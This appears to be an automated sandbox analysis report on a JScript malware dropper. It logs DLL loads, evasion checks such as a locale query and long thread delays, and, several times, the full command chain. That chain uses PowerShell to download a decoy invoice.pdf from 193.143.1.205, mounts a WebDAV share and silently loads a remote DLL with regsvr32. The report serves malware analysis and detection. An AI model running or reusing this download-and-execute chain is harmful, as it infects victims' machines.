Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9230.js.csv");ITextStream.WriteLine(" entry:7466 f:qvijvdx");ITextStream.WriteLine(" exec:2 f:qvijvdx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5126			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4559			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6416	Thread sleep count: 5126 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6716	Thread sleep count: 4559 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6640	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6352	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6636	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4460	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4460	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7404	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1762547444.000001EC2C207000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1762308588.000001EC2C1B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3011498107.000001157BC5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3010293272.000001157662B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll	Jump to behavior
